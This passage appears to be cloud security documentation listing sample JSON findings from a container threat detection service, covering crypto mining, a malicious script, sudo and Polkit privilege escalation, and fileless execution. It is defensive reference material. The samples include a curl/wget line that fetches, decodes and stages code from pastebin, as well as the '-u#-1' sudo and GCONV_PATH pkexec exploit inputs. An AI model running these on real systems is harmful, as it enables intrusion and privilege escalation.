"staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-detect-crypto-miners-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "HIGH",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_detect_crypto_miners_using_stratum_protocol"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1496/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"         }       ],       "relatedFindingUri": {}     }   }, }

已執行惡意指令碼

{   "finding": {     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "state": "ACTIVE",     "category": "Malicious Script Executed",     "sourceProperties": {       "VM_Instance_Name": "INSTANCE_ID",       "Script_Filename": "FILENAME",       "Script_SHA256": "SHA_256",       "Container_Image_Id": "CONTAINER_IMAGE_ID",       "Container_Name": "CONTAINER_NAME",       "Parent_Pid": 1.0,       "Container_Image_Uri": "CONTAINER_IMAGE_URI",       "Process_Creation_Timestamp": {         "seconds": 1.617989997E9,         "nanos": 1.17396995E8       },       "Pid": 53.0,       "Pod_Namespace": "default",       "Process_Binary_Fullpath": "INTERPRETER",       "Process_Arguments": ["INTERPRETER", "FILENAME"],       "Pod_Name": "POD_NAME",       "description": "A machine learning model using Natural Language Processing techniques identified an executed bash script as malicious.",       "Script_Content": "(curl -fsSL https://pastebin.com||wget -q -O - https://pastebin.com)| tac | base64 -di | exit 0 | > x ; chmod 777 x ;",       "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",       "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-       test-4af235e12be6f9d9", "HOME\u003d/root",       "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",       "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",       "KUBERNETES_PORT_443_TCP_PORT\u003d443",       "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",       "DEBIAN_FRONTEND\u003dnoninteractive",       "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",       "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",       "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],       "Container_Creation_Timestamp": {         "seconds": 1.617989918E9,         "nanos": 0.0       }     },     "securityMarks": {       "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"     },     "eventTime": "2021-04-09T17:39:57.527Z",     "createTime": "2021-04-09T17:39:57.625Z",     "propertyDataTypes": {       "Container_Image_Id": {         "primitiveDataType": "STRING"       },       "Pod_Namespace": {         "primitiveDataType": "STRING"       },       "Container_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Environment_Variables": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "description": {         "primitiveDataType": "STRING"       },       "Pid": {         "primitiveDataType": "NUMBER"       },       "Process_Arguments": {         "listValues": {           "propertyDataTypes": [{             "primitiveDataType": "STRING"           }]         }       },       "Container_Image_Uri": {         "primitiveDataType": "STRING"       },       "Pod_Name": {         "primitiveDataType": "STRING"       },       "Process_Creation_Timestamp": {         "dataType": "TIMESTAMP",         "structValue": {           "fields": {             "seconds": {               "primitiveDataType": "NUMBER"             },             "nanos": {               "primitiveDataType": "NUMBER"             }           }         }       },       "Parent_Pid": {         "primitiveDataType": "NUMBER"       },       "VM_Instance_Name": {         "primitiveDataType": "STRING"       },       "Script_Content": {         "primitiveDataType": "STRING"       },       "Script_Filename": {         "primitiveDataType": "STRING"       },       "Container_Name": {         "primitiveDataType": "STRING"       },       "Script_SHA256": {         "primitiveDataType": "STRING"       },       "Process_Binary_Fullpath": {         "primitiveDataType": "STRING"       }     },     "severity": "CRITICAL",     "workflowState": "NEW",     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "projectDisplayName": "PROJECT_ID",     "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parentDisplayName": "PROJECT_ID",     "type": "google.container.Cluster"   } }

偵測到惡意網址

    {       "findings": {         "access": {},         "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",         "category": "Malicious URL Observed",         "containers": [           {             "name": "CONTAINER_NAME",             "uri": "CONTAINER_URI",             "imageId": "CONTAINER_IMAGE_ID"           }         ],         "createTime": "2022-09-14T21:35:46.209Z",         "database": {},         "description": "A malicious URL is observed in the container workload.",         "eventTime": "2022-09-14T21:35:45.992Z",         "exfiltration": {},         "findingClass": "THREAT",         "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",         "indicator": {           "uris": [             "testsafebrowsing.appspot.com/s/malware.html"           ]         },         "kubernetes": {           "pods": [             {               "ns": "default",               "name": "CONTAINER_NAME",               "containers": [                 {                   "name": "CONTAINER_NAME",                   "uri": "CONTAINER_URI",                   "imageId": CONTAINER_IMAGE_ID"                 }               ]             }           ]         },         "mitreAttack": {           "primaryTactic": "COMMAND_AND_CONTROL",           "primaryTechniques": [             "INGRESS_TOOL_TRANSFER"           ]         },         "mute": "UNDEFINED",         "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",         "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",         "parentDisplayName": "Container Threat Detection",         "processes": [           {             "binary": {               "path": "\"/bin/echo\""             },             "script": {},             "args": [               "\"/bin/echo\"",               "\"https://testsafebrowsing.appspot.com/s/malware.html\""             ],             "envVariables": [               {                 "name": "\"PATH\"",                 "val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""               },               {                 "name": "\"HOSTNAME\"",                 "val": "\"CONTAINER_NAME\""               },               {                 "name": "\"DEBIAN_FRONTEND\"",                 "val": "\"noninteractive\""               },               {                 "name": "\"LANG\"",                 "val": "\"C.UTF-8\""               },               {                 "name": "\"PYTHONUNBUFFERED\"",                 "val": "\"1\""               },               {                 "name": "\"PORT\"",                 "val": "\"8080\""               },               {                 "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",                 "val": "\"IP_ADDRESS\""               },               {                 "name": "\"KUBERNETES_SERVICE_HOST\"",                 "val": "\"IP_ADDRESS\""               },               {                 "name": "\"KUBERNETES_SERVICE_PORT\"",                 "val": "\"443\""               },               {                 "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",                 "val": "\"443\""               },               {                 "name": "\"KUBERNETES_PORT\"",                 "val": "\"tcp://IP_ADDRESS:443\""               },               {                 "name": "\"KUBERNETES_PORT_443_TCP\"",                 "val": "\"tcp://IP_ADDRESS:443\""               },               {                 "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",                 "val": "\"tcp\""               },               {                 "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",                 "val": "\"443\""               },               {                 "name": "\"HOME\"",                 "val": "\"/root\""               }             ],             "pid": "1"           }         ],         "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",         "severity": "MEDIUM",         "sourceDisplayName": "Container Threat Detection",         "state": "ACTIVE",         "vulnerability": {},         "workflowState": "NEW"       },       "resource": {         "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",         "display_name": "CLUSTER_ID",         "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",         "project_display_name": "PROJECT_ID",         "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",         "parent_display_name": "PROJECT_ID",         "type": "google.container.Cluster",         "folders": []       },       "sourceProperties": {         "Container_Image_Id": "CONTAINER_IMAGE_ID",         "Pod_Namespace": "default",         "Container_Name": "CONTAINER_NAME",         "Process_Binary_Fullpath": "/bin/echo",         "description": "A malicious URL is observed in the container workload.",         "VM_Instance_Name": "VM_INSTANCE_NAME",         "Pid": 1,         "Process_Arguments": [           "/bin/echo",           "https://testsafebrowsing.appspot.com/s/malware.html"         ],         "Container_Image_Uri": "CONTAINER_IMAGE_URI",         "Parent_Pid": 0,         "Process_Creation_Timestamp": {           "seconds": 1663191345,           "nanos": 7717272         },         "Environment_Variables": [           "PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",           "HOSTNAME=CONTAINER_NAME",           "DEBIAN_FRONTEND=noninteractive",           "LANG=C.UTF-8",           "PYTHONUNBUFFERED=1",           "PORT=8080",           "KUBERNETES_PORT_443_TCP_ADDR=IP_ADDRESS",           "KUBERNETES_SERVICE_HOST=IP_ADDRESS",           "KUBERNETES_SERVICE_PORT=443",           "KUBERNETES_SERVICE_PORT_HTTPS=443",           "KUBERNETES_PORT=tcp://IP_ADDRESS:443",           "KUBERNETES_PORT_443_TCP=tcp://IP_ADDRESS:443",           "KUBERNETES_PORT_443_TCP_PROTO=tcp",           "KUBERNETES_PORT_443_TCP_PORT=443",           "HOME=/root"         ],         "Container_Creation_Timestamp": {           "seconds": 1663191345,           "nanos": 0         },         "Pod_Name": "CONTAINER_NAME"       }     }

權限提升：濫用 Sudo 提權 (CVE-2019-14287)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)",     "chokepoint": {},     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2025-07-22T00:07:48Z"       }     ],     "createTime": "2025-07-22T00:07:54.853Z",     "database": {},     "dataProtectionKeyGovernance": {},     "eventTime": "2025-07-22T00:07:54.627Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/770715367326",           "timestamp": "2025-07-22T00:07:48.052030557Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "EXPLOITATION_FOR_PRIVILEGE_ESCALATION"       ],       "additionalTactics": [         "DEFENSE_EVASION",         "PRIVILEGE_ESCALATION"       ],       "additionalTechniques": [         "ABUSE_ELEVATION_CONTROL_MECHANISM"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",    "processes": [       {         "binary": {           "path": "\"/tmp/sudo\"",           "size": "142312",           "sha256": "1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af",           "hashedSize": "142312",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"/tmp/sudo\"",           "\"-u#-1\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-abuse-sudo-2025-07-21-17-20-36-utc\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"TERM\"",             "val": "\"xterm\""           },           {             "name": "\"SHLVL\"",             "val": "\"1\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"_\"",             "val": "\"/tmp/sudo\""           }         ],         "pid": "10",         "parentPid": "1",         "userId": "0"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_abuse_sudo_for_privilege_escalation"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0004/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af/detection"         }       ],       "relatedFindingUri": {}     }   } }

權限提升：在 /dev/shm 中無檔案執行作業

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Privilege Escalation: Fileless Execution in /dev/shm",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "PROCESS_INJECTION"       ]       "additionalTactics": [         "DEFENSE_EVASION"       ],       "additionalTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER",         "UNIX_SHELL",         "HIDE_ARTIFACTS"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/dev/shm/echo\"",           "size": "39096",           "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",           "hashedSize": "39096",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"eho\"",           "\"Hello World\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "HIGH",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_fileless_execution_detection"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0004/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"         }       ],       "relatedFindingUri": {}     }   }, }

權限提升：Polkit 本機權限提升漏洞 (CVE-2021-4034)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)",     "chokepoint": {},     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2025-07-22T00:07:48Z"       }     ],     "createTime": "2025-07-22T00:07:54.853Z",     "database": {},     "dataProtectionKeyGovernance": {},     "eventTime": "2025-07-22T00:07:54.627Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/770715367326",           "timestamp": "2025-07-22T00:07:48.052030557Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "EXPLOITATION_FOR_PRIVILEGE_ESCALATION"       ],       "additionalTactics": [         "RESOURCE_DEVELOPMENT"       ],       "additionalTechniques": [         "OBTAIN_CAPABILITIES",         "OBTAIN_CAPABILITIES_VULNERABILITIES"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"pkexec\"",           "size": "142312",           "sha256": "1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af",           "hashedSize": "142312",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"pkexec\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"GCONV_PATH\"",             "val": "\"junk\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-polkit-2025-07-21-23-06-20-utc\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HOME\"",             "val": "\"/home/ubuntu\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"TERM\"",             "val": "\"xterm\""           },           {             "name": "\"SHLVL\"",             "val": "\"1\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"_\"",             "val": "\"/tmp/pkexec\""           }         ],         "pid": "9",         "parentPid": "1",         "userId": "0"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     